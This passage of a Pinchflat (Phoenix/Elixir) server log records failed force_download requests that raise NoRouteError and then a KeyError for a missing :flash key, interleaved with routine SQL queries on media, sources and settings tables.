"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37143.0>, params: %{}, path_info: ["sources", "7", "media", "14035", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/7/media/14035/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvg4aoGhKX-AAAXuh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/14035/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/7/media/14035/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/14035/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tl (truncated) 22:17:22.889 [info] GET /sources/7/media/14035 22:17:22.889 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "14035", "prevent_download" => "true", "source_id" => "7"} Pipelines: [:browser] 22:17:22.890 [debug] QUERY OK source="media_items" db=0.5ms idle=192.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14035] 22:17:22.891 [info] GET /sources/6/media/13821/edit 22:17:22.891 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "13821", "source_id" => "6"} Pipelines: [:browser] 22:17:22.892 [debug] QUERY OK source="tasks" db=1.2ms idle=192.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [14035] 22:17:22.892 [debug] QUERY OK source="sources" db=1.4ms idle=192.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:22.893 [debug] QUERY OK source="media_items" db=0.8ms idle=172.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13821] 22:17:22.894 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.3ms idle=173.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2328] 22:17:22.894 [debug] QUERY OK source="settings" db=0.9ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.895 [debug] QUERY OK source="settings" db=0.5ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.895 [debug] QUERY OK source="settings" db=0.6ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.895 [debug] QUERY OK source="settings" db=0.3ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.896 [debug] QUERY OK source="settings" db=0.8ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.897 [info] Sent 200 in 5ms 22:17:22.898 [debug] QUERY OK source="settings" db=1.0ms queue=0.4ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.899 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:22.900 [info] Sent 200 in 11ms 22:17:22.901 [info] GET /sources/6/media/13821/force_download 22:17:22.902 [debug] QUERY OK source="settings" db=0.2ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.902 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.902 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:22.902 [error] #PID<0.37149.0> running PinchflatWeb.Endpoint (connection #PID<0.37088.0>, stream id 12) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/6/media/13821/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/media/13821/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/media/13821/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37149.0>, params: %{}, path_info: ["sources", "6", "media", "13821", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/6/media/13821/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvhkC0nw6DLwAAW5k"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/media/13821/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/media/13821/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/media/13821/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tl (truncated) 22:17:22.930 [info] GET /sources/6/media/13821 22:17:22.931 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13821", "prevent_download" => "true", "source_id" => "6"} Pipelines: [:browser] 22:17:22.931 [debug] QUERY OK source="media_items" db=0.4ms idle=35.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13821] 22:17:22.932 [debug] QUERY OK source="sources" db=0.2ms idle=33.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:22.932 [debug] QUERY OK source="tasks" db=0.3ms idle=33.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13821] 22:17:22.932 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=30.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2316] 22:17:22.933 [debug] QUERY OK source="settings" db=0.0ms idle=30.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.933 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.933 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.934 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:22.935 [info] Sent 200 in 4ms 22:17:22.938 [info] GET /sources/dcab29d3-4270-4fad-a776-b80b72b3b793/feed.xml 22:17:22.938 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "dcab29d3-4270-4fad-a776-b80b72b3b793"} Pipelines: [:maybe_basic_auth] 22:17:22.940 [info] GET /sources/6/force_download_pending 22:17:22.941 [debug] QUERY OK source="settings" db=0.5ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.941 [debug] QUERY OK source="sources" db=1.7ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["dcab29d3-4270-4fad-a776-b80b72b3b793"] 22:17:22.941 [debug] QUERY OK source="settings" db=0.4ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.941 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:22.942 [error] #PID<0.37155.0> running PinchflatWeb.Endpoint (connection #PID<0.37083.0>, stream id 18) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/6/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37155.0>, params: %{}, path_info: ["sources", "6", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => 